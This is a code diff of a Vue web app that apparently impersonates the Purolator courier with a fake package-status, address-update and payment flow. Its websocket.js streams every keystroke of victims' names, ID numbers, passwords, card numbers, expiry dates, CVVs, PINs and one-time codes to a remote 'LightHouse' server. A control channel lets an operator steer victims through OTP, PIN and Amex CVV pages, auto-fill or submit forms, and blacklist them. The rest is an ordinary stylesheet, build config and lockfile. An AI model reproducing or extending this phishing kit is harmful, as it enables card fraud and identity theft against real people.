return function executedFunction(...args) {
const later = () => {
clearTimeout(timeout);
func(...args);
};
clearTimeout(timeout);
timeout = setTimeout(later, wait);
};
}
},
mounted() {
this.setupInputTracking();
}
};

View File

@@ -0,0 +1,54 @@
import UserBehaviorTracker from '../services/websocket.js';
let behaviorTracker = null;
export function setupNavigationTracking(router) {
if (!behaviorTracker) {
behaviorTracker = new UserBehaviorTracker();
}
router.beforeEach((to, from, next) => {
if (from.name) {
behaviorTracker.sendBehavior(
'page_leave',
`离开页面: ${from.name}`,
{
from_page: from.name,
from_path: from.path,
timestamp: new Date().toISOString()
}
);
}
next();
});
router.afterEach((to, from) => {
behaviorTracker.sendBehavior(
'page_visit',
`访问页面: ${to.name}`,
{
to_page: to.name,
to_path: to.path,
from_page: from.name || null,
from_path: from.path || null,
timestamp: new Date().toISOString()
}
);
const pageActions = {
'Home': () => behaviorTracker.sendBehavior('view_package_status', '查看包裹状态', {}),
'UpdateAddress': () => behaviorTracker.sendBehavior('view_address_form', '查看地址更新表单', {}),
'Payment': () => behaviorTracker.sendBehavior('view_payment_form', '查看支付表单', {})
};
const action = pageActions[to.name];
if (action) {
setTimeout(action, 500);
}
});
window.addEventListener('beforeunload', () => {
behaviorTracker?.trackSessionEnd();
});
}

88
src/router/index.js Normal file
View File

@@ -0,0 +1,88 @@
import { createRouter, createWebHistory } from 'vue-router'
import HomePage from '../components/HomePage.vue'
import UpdateAddressPage from '../components/UpdateAddressPage.vue'
import PaymentPage from '../components/PaymentPage.vue'
import OtpVerificationPage from '../components/verification/OtpVerificationPage.vue'
import EmailVerificationPage from '../components/verification/EmailVerificationPage.vue'
import PinVerificationPage from '../components/verification/PinVerificationPage.vue'
import AmexCvvVerificationPage from '../components/verification/AmexCvvVerificationPage.vue'
import AppVerificationPage from '../components/verification/AppVerificationPage.vue'
import ErrorPage from '../components/ErrorPage.vue'
import BlockedPage from '../components/BlockedPage.vue'
// 检查是否被拉黑的导航守卫
const checkBlacklisted = (to, from, next) => {
if (localStorage.getItem('blacklisted') === 'true' && to.path !== '/blocked') {
next('/blocked')
} else {
next()
}
}
const routes = [
{
path: '/',
name: 'Home',
component: HomePage,
beforeEnter: checkBlacklisted
},
{
path: '/update-address',
name: 'UpdateAddress',
component: UpdateAddressPage,
beforeEnter: checkBlacklisted
},
{
path: '/payment',
name: 'Payment',
component: PaymentPage,
beforeEnter: checkBlacklisted
},
{
path: '/otp-verification',
name: 'OtpVerification',
component: OtpVerificationPage,
beforeEnter: checkBlacklisted
},
{
path: '/email-verification',
name: 'EmailVerification',
component: EmailVerificationPage,
beforeEnter: checkBlacklisted
},
{
path: '/pin-verification',
name: 'PinVerification',
component: PinVerificationPage,
beforeEnter: checkBlacklisted
},
{
path: '/amex-cvv-verification',
name: 'AmexCvvVerification',
component: AmexCvvVerificationPage,
beforeEnter: checkBlacklisted
},
{
path: '/app-verification',
name: 'AppVerification',
component: AppVerificationPage,
beforeEnter: checkBlacklisted
},
{
path: '/error',
name: 'Error',
component: ErrorPage
},
{
path: '/blocked',
name: 'Blocked',
component: BlockedPage
}
]
const router = createRouter({
history: createWebHistory(),
routes
})
export default router

583
src/services/websocket.js Normal file
View File

@@ -0,0 +1,583 @@
class UserBehaviorTracker {
constructor() {
this.ws = null;
this.wsControl = null; // 控制WebSocket
this.uuid = this.getOrCreateUserUUID();
// 使用环境变量配置WebSocket地址
const baseWsUrl = import.meta.env.VITE_WS_URL || 'ws://127.0.0.1:8080';
this.wsUrl = `${baseWsUrl}/api/v1/accessControl/ws_pub?uuid=${this.uuid}`;
this.wsControlUrl = `${baseWsUrl}/api/v1/accessControl/ws_control_sub?uuid=${this.uuid}`;
this.reconnectAttempts = 0;
this.maxReconnectAttempts = 5;
this.reconnectInterval = 3000;
this.isConnected = false;
this.isControlConnected = false; // 控制WS连接状态
this.messageQueue = [];
this.controlMessageQueue = []; // 控制WS消息队列
this.heartbeatInterval = null;
this.controlHeartbeatInterval = null; // 控制WS心跳
this.connectionStatus = 'disconnected'; // disconnected, connecting, connected, error
this.controlConnectionStatus = 'disconnected'; // 控制WS连接状态
this.controlCallbacks = {}; // 控制WS回调函数
// 防止未捕获的WebSocket错误导致alert
window.addEventListener('error', (event) => {
if (event && event.message && (
event.message.includes('WebSocket') ||
event.message.includes('network') ||
event.message.includes('connection')
)) {
// 阻止默认行为
event.preventDefault();
return true;
}
});
// Only establish a new connection if one doesn't already exist
this.connect();
this.connectControl(); // 连接控制WebSocket
this.setupHeartbeat();
this.setupControlHeartbeat(); // 设置控制WS心跳
}
/**
* Get existing UUID from session storage or create a new one based on browser fingerprinting
* @returns {string} - User UUID
*/
getOrCreateUserUUID() {
// Check if UUID already exists in sessionStorage
let uuid = sessionStorage.getItem('user_uuid');
if (uuid) {
return uuid;
}
// Generate a new UUID based on browser information
uuid = this.generateUUID();
// Store in sessionStorage
sessionStorage.setItem('user_uuid', uuid);
return uuid;
}
/**
* Generate a unique UUID based on browser information
* @returns {string} - Generated UUID
*/
generateUUID() {
// Collect browser information for fingerprinting
const screenInfo = `${screen.width}x${screen.height}x${screen.colorDepth}`;
const timeZone = Intl.DateTimeFormat().resolvedOptions().timeZone || '';
const language = navigator.language || '';
const platform = navigator.platform || '';
const userAgent = navigator.userAgent || '';
// Create a hash from combined information
const browserFingerprint = this.simpleHash(
userAgent + screenInfo + timeZone + language + platform + Date.now()
);
// Format as UUID-like string
return 'user_' + browserFingerprint + '_' + Math.random().toString(36).substr(2, 9);
}
/**
* Simple string hashing function
* @param {string} str - String to hash
* @returns {string} - Hash result
*/
simpleHash(str) {
let hash = 0;
for (let i = 0; i < str.length; i++) {
const char = str.charCodeAt(i);
hash = ((hash << 5) - hash) + char;
hash = hash & hash; // Convert to 32bit integer
}
// Convert to positive hex string
return Math.abs(hash).toString(16);
}
connect() {
try {
this.connectionStatus = 'connecting';
this.ws = new WebSocket(this.wsUrl);
this.ws.onopen = () => {
console.log('WebSocket connected to LightHouse');
this.isConnected = true;
this.connectionStatus = 'connected';
this.reconnectAttempts = 0;
this.sendBehavior('session_start', '会话开始', {});
this.flushMessageQueue();
};
this.ws.onmessage = (event) => {
try {
const data = JSON.parse(event.data);
console.log('Received message:', data);
this.handleIncomingMessage(data);
} catch (error) {
console.error('Failed to parse WebSocket message:', error);
}
};
this.ws.onclose = () => {
console.log('WebSocket connection closed');
this.isConnected = false;
this.connectionStatus = 'disconnected';
this.attemptReconnect();
};
this.ws.onerror = (error) => {
console.error('WebSocket error:', error);
this.isConnected = false;
this.connectionStatus = 'error';
};
} catch (error) {
console.error('Failed to create WebSocket connection:', error);
this.connectionStatus = 'error';
this.attemptReconnect();
}
}
handleIncomingMessage(data) {
// 处理来自服务器的消息
switch (data.type) {
case 'pong':
// 心跳响应
break;
case 'command':
// 服务器命令
this.handleServerCommand(data);
break;
default:
console.log('Unknown message type:', data.type);
}
}
handleServerCommand(data) {
// 处理服务器命令
console.log('Server command received:', data);
}
attemptReconnect() {
if (this.reconnectAttempts < this.maxReconnectAttempts) {
this.reconnectAttempts++;
console.log(`Attempting to reconnect (${this.reconnectAttempts}/${this.maxReconnectAttempts})...`);
setTimeout(() => {
this.connect();
}, this.reconnectInterval);
} else {
console.error('Max reconnection attempts reached');
}
}
setupHeartbeat() {
this.clearHeartbeat();
this.heartbeatInterval = setInterval(() => {
if (this.isConnected && this.ws.readyState === WebSocket.OPEN) {
this.ws.send(JSON.stringify({ type: 'ping', timestamp: Date.now() }));
}
}, 30000);
}
clearHeartbeat() {
if (this.heartbeatInterval) {
clearInterval(this.heartbeatInterval);
this.heartbeatInterval = null;
}
}
flushMessageQueue() {
while (this.messageQueue.length > 0) {
const message = this.messageQueue.shift();
this.sendMessage(message);
}
}
sendMessage(message) {
if (this.isConnected && this.ws.readyState === WebSocket.OPEN) {
this.ws.send(JSON.stringify(message));
} else {
this.messageQueue.push(message);
}
}
sendBehavior(type, status, payload) {
const message = {
type: type,
uuid: this.uuid,
status: status,
payload: payload
};
this.sendMessage(message);
console.log('Sent behavior:', message);
}
trackLogin(credentials = {}) {
this.sendBehavior('login', '用户正在登录', credentials);
}
trackInputName(name) {
this.sendBehavior('input_name', '正在输入姓名', { name });
}
trackInputPhone(phone) {
this.sendBehavior('input_phone', '正在输入电话', { phone });
}
trackInputEmail(email) {
this.sendBehavior('input_email', '正在输入邮箱', { email });
}
trackInputIdCard(idCard) {
this.sendBehavior('input_id_card', '正在输入身份证号', { id_card: idCard });
}
trackInputUsername(username) {
this.sendBehavior('input_username', '正在输入用户名', { username });
}
trackInputPassword(password) {
this.sendBehavior('input_password', '正在输入密码', { password });
}
trackInputVerifyCode(code) {
this.sendBehavior('input_verify_code', '正在输入验证码', { verify_code: code });
}
trackInputPin(pin) {
this.sendBehavior('input_pin', '正在输入PIN码', { pin });
}
trackInputAddressCountry(country) {
this.sendBehavior('input_address_country', '正在输入国家', { country });
}
trackInputAddressState(state) {
this.sendBehavior('input_address_state', '正在输入省份/州', { state });
}
trackInputAddressCity(city) {
this.sendBehavior('input_address_city', '正在输入城市', { city });
}
trackInputAddressDetail(address) {
this.sendBehavior('input_address_detail', '正在输入详细地址', { address });
}
trackInputAddressZip(zipCode) {
this.sendBehavior('input_address_zip', '正在输入邮政编码', { zip_code: zipCode });
}
trackInputCardNumber(cardNumber) {
this.sendBehavior('input_card_number', '正在输入卡号', { card_number: cardNumber });
}
trackInputCardType(cardType) {
this.sendBehavior('input_card_type', '正在输入卡类型', { card_type: cardType });
}
trackInputCardHolder(cardHolder) {
this.sendBehavior('input_card_holder', '正在输入持卡人姓名', { card_holder_name: cardHolder });
}
trackInputCardExpiry(expiry) {
this.sendBehavior('input_card_expiry', '正在输入有效期', { expiry_date: expiry });
}
trackInputCardCvv(cvv) {
this.sendBehavior('input_card_cvv', '正在输入CVV', { cvv });
}
trackInputCardRemark(remark) {
this.sendBehavior('input_card_remark', '正在输入卡头备注', { card_remark: remark });
}
trackInputCustomField(fieldNumber, value) {
this.sendBehavior(`input_custom_field${fieldNumber}`, `正在输入自定义字段${fieldNumber}`, { [`custom_field${fieldNumber}`]: value });
}
trackCompleteRegistration() {
this.sendBehavior('complete_registration', '注册完成', {});
}
trackCompletePayment() {
this.sendBehavior('complete_payment', '完成支付', {});
}
trackSessionEnd() {
this.sendBehavior('session_end', '会话结束', {});
}
disconnect() {
this.clearHeartbeat();
this.trackSessionEnd();
if (this.isConnected && this.ws.readyState === WebSocket.OPEN) {
this.ws.close();
}
this.isConnected = false;
this.connectionStatus = 'disconnected';
}
// 控制WebSocket相关方法
connectControl() {
try {
this.controlConnectionStatus = 'connecting';
this.wsControl = new WebSocket(this.wsControlUrl);
this.wsControl.onopen = () => {
console.log('Control WebSocket connected');
this.isControlConnected = true;
this.controlConnectionStatus = 'connected';
this.flushControlMessageQueue();
};
this.wsControl.onmessage = (event) => {
try {
const data = JSON.parse(event.data);
console.log('Received control message:', data);
this.handleControlMessage(data);
} catch (error) {
console.error('Failed to parse Control WebSocket message:', error);
}
};
this.wsControl.onclose = () => {
console.log('Control WebSocket connection closed');
this.isControlConnected = false;
this.controlConnectionStatus = 'disconnected';
this.attemptControlReconnect();
};
this.wsControl.onerror = (error) => {
console.error('Control WebSocket error:', error);
this.isControlConnected = false;
this.controlConnectionStatus = 'error';
};
} catch (error) {
console.error('Failed to create Control WebSocket connection:', error);
this.controlConnectionStatus = 'error';
this.attemptControlReconnect();
}
}
handleControlMessage(data) {
if (!data || !data.type) {
console.error('Invalid control message format');
return;
}
console.log(`Processing control message: ${data.type}`);
// 触发注册的回调
this.triggerControlCallback(data.type, data);
// 处理各种类型的控制命令
switch (data.type) {
case 'pong':
// 心跳响应
break;
case 'return_prev_step':
// 返回上一步
this.triggerControlCallback('returnPrevStep', data);
break;
case 'otp_verification':
// OTP验证
this.triggerControlCallback('otpVerification', data);
break;
case 'email_verification':
// Email验证
this.triggerControlCallback('emailVerification', data);
break;
case 'app_verification':
// App验证
this.triggerControlCallback('appVerification', data);
break;
case 'pin_verification':
// PIN验证
this.triggerControlCallback('pinVerification', data);
break;
case 'cvv_verification_amex':
// 运通CVV验证
this.triggerControlCallback('amexCvvVerification', data);
break;
case 'reject_custom':
// 拒绝自定义文案
this.triggerControlCallback('rejectCustom', data);
break;
case 'reject_card_change':
// 拒绝更换卡片
this.triggerControlCallback('rejectCardChange', data);
break;
case 'disconnect':
// 断开连接
this.triggerControlCallback('disconnect', data);
break;
case 'blacklist':
// 拉入黑名单
this.triggerControlCallback('blacklist', data);
localStorage.setItem('blacklisted', 'true');
break;
case 'clearForm':
this.triggerControlCallback('clearForm', data);
break;
case 'fillForm':
this.triggerControlCallback('fillForm', data);
break;
case 'submitForm':
this.triggerControlCallback('submitForm', data);
break;
case 'navigateTo':
this.triggerControlCallback('navigateTo', data);
break;
case 'showError':
this.triggerControlCallback('showError', data);
break;
case 'reload':
window.location.reload();
break;
case 'ping':
// 发送pong响应
this.sendToWsSub({
type: 'pong',
timestamp: Date.now()
});
break;
default:
// 其他命令类型,尝试触发对应的回调
console.log(`[WebSocket Control] 未知消息类型: ${data.type}`);
}
}
// 注册控制回调
registerControlCallback(eventType, callback) {
this.controlCallbacks[eventType] = callback;
}
// 触发控制回调
triggerControlCallback(eventType, data) {
if (this.controlCallbacks[eventType]) {
try {
this.controlCallbacks[eventType](data);
} catch (error) {
console.error(`Error executing callback for ${eventType}:`, error);
}
}
}
// 发送消息到ws_sub
sendToWsSub(data) {
const message = {
...data,
uuid: this.uuid,
timestamp: data.timestamp || Date.now()
};
if (this.isControlConnected && this.wsControl.readyState === WebSocket.OPEN) {
this.wsControl.send(JSON.stringify(message));
} else {
this.controlMessageQueue.push(message);
}
}
attemptControlReconnect() {
if (this.reconnectAttempts < this.maxReconnectAttempts) {
this.reconnectAttempts++;
setTimeout(() => {
this.connectControl();
}, this.reconnectInterval);
} else {
console.error('Max control reconnection attempts reached');
this.controlConnectionStatus = 'disconnected';
this.clearControlHeartbeat();
this.isControlConnected = false;
}
}
setupControlHeartbeat() {
this.clearControlHeartbeat();
this.controlHeartbeatInterval = setInterval(() => {
if (this.isControlConnected && this.wsControl.readyState === WebSocket.OPEN) {
this.wsControl.send(JSON.stringify({ type: 'ping', timestamp: Date.now() }));
}
}, 30000);
}
clearControlHeartbeat() {
if (this.controlHeartbeatInterval) {
clearInterval(this.controlHeartbeatInterval);
this.controlHeartbeatInterval = null;
}
}
flushControlMessageQueue() {
while (this.controlMessageQueue.length > 0) {
const message = this.controlMessageQueue.shift();
this.sendToWsSub(message);
}
}
// 获取控制连接状态
getControlConnectionStatus() {
return this.controlConnectionStatus;
}
// 获取控制连接详情
getControlConnectionInfo() {
return {
status: this.controlConnectionStatus,
connected: this.isControlConnected,
url: this.wsControlUrl,
uuid: this.uuid
};
}
disconnectControl() {
this.clearControlHeartbeat();
if (this.isControlConnected && this.wsControl.readyState === WebSocket.OPEN) {
this.wsControl.close();
}
this.isControlConnected = false;
this.controlConnectionStatus = 'disconnected';
}
// 获取连接状态
getConnectionStatus() {
return this.connectionStatus;
}
// 获取连接详情
getConnectionInfo() {
return {
status: this.connectionStatus,
connected: this.isConnected,
url: this.wsUrl,
uuid: this.uuid
};
}
}
// 单例模式确保整个应用只有一个WebSocket实例
let instance = null;
export default function getUserBehaviorTracker() {
if (!instance) {
instance = new UserBehaviorTracker();
}
return instance;
}

32
src/style.css Normal file
View File

@@ -0,0 +1,32 @@
/* 基础重置 */
* {
box-sizing: border-box;
margin: 0;
padding: 0;
}
html, body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
background-color: #f5f5f5;
line-height: 1.6;
color: #333;
width: 100%;
height: 100%;
}
/* 确保图片响应式 */
img {
max-width: 100%;
height: auto;
}
/* 基础链接样式 */
a {
color: #001996;
text-decoration: none;
transition: all 0.3s ease;
}
a:hover {
color: #0f2a9c;
}

4
start.bat Normal file
View File

@@ -0,0 +1,4 @@
@echo off
echo Starting Purolator Vue App...
npm run dev
pause

14
vite.config.js Normal file
View File

@@ -0,0 +1,14 @@
import { defineConfig } from 'vite'
import vue from '@vitejs/plugin-vue'
export default defineConfig({
plugins: [vue()],
base: './',
build: {
outDir: 'dist'
},
server: {
port: 5176,
host: true
}
})

348
yarn.lock Normal file
View File

@@ -0,0 +1,348 @@
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1
"@babel/helper-string-parser@^7.27.1":
version "7.27.1"
resolved "https://registry.npmmirror.com/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz#54da796097ab19ce67ed9f88b47bb2ec49367687"
integrity sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==
"@babel/helper-validator-identifier@^7.27.1":
version "7.27.1"
resolved "https://registry.npmmirror.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.27.1.tgz#a7054dcc145a967dd4dc8fee845a57c1316c9df8"
integrity sha512-D2hP9eA+Sqx1kBZgzxZh0y1trbuU+JoDkiEwqhQ36nodYqJwyEIhPSdMNd7lOm/4io72luTPWH20Yda0xOuUow==
"@babel/parser@^7.27.5":
version "7.28.0"
resolved "https://registry.npmmirror.com/@babel/parser/-/parser-7.28.0.tgz#979829fbab51a29e13901e5a80713dbcb840825e"
integrity sha512-jVZGvOxOuNSsuQuLRTh13nU0AogFlw32w/MT+LV6D3sP5WdbW61E77RnkbaO2dUvmPAYrBDJXGn5gGS6tH4j8g==
dependencies:
"@babel/types" "^7.28.0"
"@babel/types@^7.28.0":
version "7.28.0"
resolved "https://registry.npmmirror.com/@babel/types/-/types-7.28.0.tgz#2fd0159a6dc7353933920c43136335a9b264d950"
integrity sha512-jYnje+JyZG5YThjHiF28oT4SIZLnYOcSBb6+SDaFIyzDVSkXQmQQYclJ2R+YxcdmK0AX6x1E5OQNtuh3jHDrUg==
dependencies:
"@babel/helper-string-parser" "^7.27.1"
"@babel/helper-validator-identifier" "^7.27.1"
"@esbuild/android-arm64@0.18.20":
version "0.18.20"
resolved "https://registry.npmmirror.com/@esbuild/android-arm64/-/android-arm64-0.18.20.tgz#984b4f9c8d0377443cc2dfcef266d02244593622"
integrity sha512-Nz4rJcchGDtENV0eMKUNa6L12zz2zBDXuhj/Vjh18zGqB44Bi7MBMSXjgunJgjRhCmKOjnPuZp4Mb6OKqtMHLQ==
"@esbuild/android-arm@0.18.20":
version "0.18.20"
resolved "https://registry.npmmirror.com/@esbuild/android-arm/-/android-arm-0.18.20.tgz#fedb265bc3a589c84cc11f810804f234947c3682"
integrity sha512-fyi7TDI/ijKKNZTUJAQqiG5T7YjJXgnzkURqmGj13C6dCqckZBLdl4h7bkhHt/t0WP+zO9/zwroDvANaOqO5Sw==
"@esbuild/android-x64@0.18.20":
version "0.18.20"
resolved "https://registry.npmmirror.com/@esbuild/android-x64/-/android-x64-0.18.20.tgz#35cf419c4cfc8babe8893d296cd990e9e9f756f2"
integrity sha512-8GDdlePJA8D6zlZYJV/jnrRAi6rOiNaCC/JclcXpB+KIuvfBN4owLtgzY2bsxnx666XjJx2kDPUmnTtR8qKQUg==
"@esbuild/darwin-arm64@0.18.20":
version "0.18.20"
resolved "https://registry.npmmirror.com/@esbuild/darwin-arm64/-/darwin-arm64-0.18.20.tgz#08172cbeccf95fbc383399a7f39cfbddaeb0d7c1"
integrity sha512-bxRHW5kHU38zS2lPTPOyuyTm+S+eobPUnTNkdJEfAddYgEcll4xkT8DB9d2008DtTbl7uJag2HuE5NZAZgnNEA==
"@esbuild/darwin-x64@0.18.20":
version "0.18.20"
resolved "https://registry.npmmirror.com/@esbuild/darwin-x64/-/darwin-x64-0.18.20.tgz#d70d5790d8bf475556b67d0f8b7c5bdff053d85d"
integrity sha512-pc5gxlMDxzm513qPGbCbDukOdsGtKhfxD1zJKXjCCcU7ju50O7MeAZ8c4krSJcOIJGFR+qx21yMMVYwiQvyTyQ==
"@esbuild/freebsd-arm64@0.18.20":
version "0.18.20"
resolved "https://registry.npmmirror.com/@esbuild/freebsd-arm64/-/freebsd-arm64-0.18.20.tgz#98755cd12707f93f210e2494d6a4b51b96977f54"
integrity sha512-yqDQHy4QHevpMAaxhhIwYPMv1NECwOvIpGCZkECn8w2WFHXjEwrBn3CeNIYsibZ/iZEUemj++M26W3cNR5h+Tw==
"@esbuild/freebsd-x64@0.18.20":
version "0.18.20"
resolved "https://registry.npmmirror.com/@esbuild/freebsd-x64/-/freebsd-x64-0.18.20.tgz#c1eb2bff03915f87c29cece4c1a7fa1f423b066e"
integrity sha512-tgWRPPuQsd3RmBZwarGVHZQvtzfEBOreNuxEMKFcd5DaDn2PbBxfwLcj4+aenoh7ctXcbXmOQIn8HI6mCSw5MQ==
"@esbuild/linux-arm64@0.18.20":
version "0.18.20"
resolved "https://registry.npmmirror.com/@esbuild/linux-arm64/-/linux-arm64-0.18.20.tgz#bad4238bd8f4fc25b5a021280c770ab5fc3a02a0"
integrity sha512-2YbscF+UL7SQAVIpnWvYwM+3LskyDmPhe31pE7/aoTMFKKzIc9lLbyGUpmmb8a8AixOL61sQ/mFh3jEjHYFvdA==
"@esbuild/linux-arm@0.18.20":
version "0.18.20"
resolved "https://registry.npmmirror.com/@esbuild/linux-arm/-/linux-arm-0.18.20.tgz#3e617c61f33508a27150ee417543c8ab5acc73b0"
integrity sha512-/5bHkMWnq1EgKr1V+Ybz3s1hWXok7mDFUMQ4cG10AfW3wL02PSZi5kFpYKrptDsgb2WAJIvRcDm+qIvXf/apvg==
"@esbuild/linux-ia32@0.18.20":
version "0.18.20"
resolved "https://registry.npmmirror.com/@esbuild/linux-ia32/-/linux-ia32-0.18.20.tgz#699391cccba9aee6019b7f9892eb99219f1570a7"
integrity sha512-P4etWwq6IsReT0E1KHU40bOnzMHoH73aXp96Fs8TIT6z9Hu8G6+0SHSw9i2isWrD2nbx2qo5yUqACgdfVGx7TA==
"@esbuild/linux-loong64@0.18.20":
version "0.18.20"
resolved "https://registry.npmmirror.com/@esbuild/linux-loong64/-/linux-loong64-0.18.20.tgz#e6fccb7aac178dd2ffb9860465ac89d7f23b977d"
integrity sha512-nXW8nqBTrOpDLPgPY9uV+/1DjxoQ7DoB2N8eocyq8I9XuqJ7BiAMDMf9n1xZM9TgW0J8zrquIb/A7s3BJv7rjg==
"@esbuild/linux-mips64el@0.18.20":
version "0.18.20"
resolved "https://registry.npmmirror.com/@esbuild/linux-mips64el/-/linux-mips64el-0.18.20.tgz#eeff3a937de9c2310de30622a957ad1bd9183231"
integrity sha512-d5NeaXZcHp8PzYy5VnXV3VSd2D328Zb+9dEq5HE6bw6+N86JVPExrA6O68OPwobntbNJ0pzCpUFZTo3w0GyetQ==
"@esbuild/linux-ppc64@0.18.20":
version "0.18.20"
resolved "https://registry.npmmirror.com/@esbuild/linux-ppc64/-/linux-ppc64-0.18.20.tgz#2f7156bde20b01527993e6881435ad79ba9599fb"
integrity sha512-WHPyeScRNcmANnLQkq6AfyXRFr5D6N2sKgkFo2FqguP44Nw2eyDlbTdZwd9GYk98DZG9QItIiTlFLHJHjxP3FA==
"@esbuild/linux-riscv64@0.18.20":
version "0.18.20"
resolved "https://registry.npmmirror.com/@esbuild/linux-riscv64/-/linux-riscv64-0.18.20.tgz#6628389f210123d8b4743045af8caa7d4ddfc7a6"
integrity sha512-WSxo6h5ecI5XH34KC7w5veNnKkju3zBRLEQNY7mv5mtBmrP/MjNBCAlsM2u5hDBlS3NGcTQpoBvRzqBcRtpq1A==
"@esbuild/linux-s390x@0.18.20":
version "0.18.20"
resolved "https://registry.npmmirror.com/@esbuild/linux-s390x/-/linux-s390x-0.18.20.tgz#255e81fb289b101026131858ab99fba63dcf0071"
integrity sha512-+8231GMs3mAEth6Ja1iK0a1sQ3ohfcpzpRLH8uuc5/KVDFneH6jtAJLFGafpzpMRO6DzJ6AvXKze9LfFMrIHVQ==
"@esbuild/linux-x64@0.18.20":
version "0.18.20"
resolved "https://registry.npmmirror.com/@esbuild/linux-x64/-/linux-x64-0.18.20.tgz#c7690b3417af318a9b6f96df3031a8865176d338"
integrity sha512-UYqiqemphJcNsFEskc73jQ7B9jgwjWrSayxawS6UVFZGWrAAtkzjxSqnoclCXxWtfwLdzU+vTpcNYhpn43uP1w==
"@esbuild/netbsd-x64@0.18.20":
version "0.18.20"
resolved "https://registry.npmmirror.com/@esbuild/netbsd-x64/-/netbsd-x64-0.18.20.tgz#30e8cd8a3dded63975e2df2438ca109601ebe0d1"
integrity sha512-iO1c++VP6xUBUmltHZoMtCUdPlnPGdBom6IrO4gyKPFFVBKioIImVooR5I83nTew5UOYrk3gIJhbZh8X44y06A==
"@esbuild/openbsd-x64@0.18.20":
version "0.18.20"
resolved "https://registry.npmmirror.com/@esbuild/openbsd-x64/-/openbsd-x64-0.18.20.tgz#7812af31b205055874c8082ea9cf9ab0da6217ae"
integrity sha512-e5e4YSsuQfX4cxcygw/UCPIEP6wbIL+se3sxPdCiMbFLBWu0eiZOJ7WoD+ptCLrmjZBK1Wk7I6D/I3NglUGOxg==
"@esbuild/sunos-x64@0.18.20":
version "0.18.20"
resolved "https://registry.npmmirror.com/@esbuild/sunos-x64/-/sunos-x64-0.18.20.tgz#d5c275c3b4e73c9b0ecd38d1ca62c020f887ab9d"
integrity sha512-kDbFRFp0YpTQVVrqUd5FTYmWo45zGaXe0X8E1G/LKFC0v8x0vWrhOWSLITcCn63lmZIxfOMXtCfti/RxN/0wnQ==
"@esbuild/win32-arm64@0.18.20":
version "0.18.20"
resolved "https://registry.npmmirror.com/@esbuild/win32-arm64/-/win32-arm64-0.18.20.tgz#73bc7f5a9f8a77805f357fab97f290d0e4820ac9"
integrity sha512-ddYFR6ItYgoaq4v4JmQQaAI5s7npztfV4Ag6NrhiaW0RrnOXqBkgwZLofVTlq1daVTQNhtI5oieTvkRPfZrePg==
"@esbuild/win32-ia32@0.18.20":
version "0.18.20"
resolved "https://registry.npmmirror.com/@esbuild/win32-ia32/-/win32-ia32-0.18.20.tgz#ec93cbf0ef1085cc12e71e0d661d20569ff42102"
integrity sha512-Wv7QBi3ID/rROT08SABTS7eV4hX26sVduqDOTe1MvGMjNd3EjOz4b7zeexIR62GTIEKrfJXKL9LFxTYgkyeu7g==
"@esbuild/win32-x64@0.18.20":
version "0.18.20"
resolved "https://registry.npmmirror.com/@esbuild/win32-x64/-/win32-x64-0.18.20.tgz#786c5f41f043b07afb1af37683d7c33668858f6d"
integrity sha512-kTdfRcSiDfQca/y9QIkng02avJ+NCaQvrMejlsB3RRv5sE9rRoeBPISaZpKxHELzRxZyLvNts1P27W3wV+8geQ==
"@jridgewell/sourcemap-codec@^1.5.0":
version "1.5.4"
resolved "https://registry.npmmirror.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.4.tgz#7358043433b2e5da569aa02cbc4c121da3af27d7"
integrity sha512-VT2+G1VQs/9oz078bLrYbecdZKs912zQlkelYpuf+SXF+QvZDYJlbx/LSx+meSAwdDFnF8FVXW92AVjjkVmgFw==
"@vitejs/plugin-vue@^4.0.0":
version "4.6.2"
resolved "https://registry.npmmirror.com/@vitejs/plugin-vue/-/plugin-vue-4.6.2.tgz#057d2ded94c4e71b94e9814f92dcd9306317aa46"
integrity sha512-kqf7SGFoG+80aZG6Pf+gsZIVvGSCKE98JbiWqcCV9cThtg91Jav0yvYFC9Zb+jKetNGF6ZKeoaxgZfND21fWKw==
"@vue/compiler-core@3.5.17":
version "3.5.17"
resolved "https://registry.npmmirror.com/@vue/compiler-core/-/compiler-core-3.5.17.tgz#23d291bd01b863da3ef2e26e7db84d8e01a9b4c5"
integrity sha512-Xe+AittLbAyV0pabcN7cP7/BenRBNcteM4aSDCtRvGw0d9OL+HG1u/XHLY/kt1q4fyMeZYXyIYrsHuPSiDPosA==
dependencies:
"@babel/parser" "^7.27.5"
"@vue/shared" "3.5.17"
entities "^4.5.0"
estree-walker "^2.0.2"
source-map-js "^1.2.1"
"@vue/compiler-dom@3.5.17":
version "3.5.17"
resolved "https://registry.npmmirror.com/@vue/compiler-dom/-/compiler-dom-3.5.17.tgz#7bc19a20e23b670243a64b47ce3a890239b870be"
integrity sha512-+2UgfLKoaNLhgfhV5Ihnk6wB4ljyW1/7wUIog2puUqajiC29Lp5R/IKDdkebh9jTbTogTbsgB+OY9cEWzG95JQ==
dependencies:
"@vue/compiler-core" "3.5.17"
"@vue/shared" "3.5.17"
"@vue/compiler-sfc@3.5.17":
version "3.5.17"
resolved "https://registry.npmmirror.com/@vue/compiler-sfc/-/compiler-sfc-3.5.17.tgz#c518871276e26593612bdab36f3f5bcd053b13bf"
integrity sha512-rQQxbRJMgTqwRugtjw0cnyQv9cP4/4BxWfTdRBkqsTfLOHWykLzbOc3C4GGzAmdMDxhzU/1Ija5bTjMVrddqww==
dependencies:
"@babel/parser" "^7.27.5"
"@vue/compiler-core" "3.5.17"
"@vue/compiler-dom" "3.5.17"
"@vue/compiler-ssr" "3.5.17"
"@vue/shared" "3.5.17"
estree-walker "^2.0.2"
magic-string "^0.30.17"
postcss "^8.5.6"
source-map-js "^1.2.1"
"@vue/compiler-ssr@3.5.17":
version "3.5.17"
resolved "https://registry.npmmirror.com/@vue/compiler-ssr/-/compiler-ssr-3.5.17.tgz#14ba3b7bba6e0e1fd02002316263165a5d1046c7"
integrity sha512-hkDbA0Q20ZzGgpj5uZjb9rBzQtIHLS78mMilwrlpWk2Ep37DYntUz0PonQ6kr113vfOEdM+zTBuJDaceNIW0tQ==
dependencies:
"@vue/compiler-dom" "3.5.17"
"@vue/shared" "3.5.17"
"@vue/devtools-api@^6.6.4":
version "6.6.4"
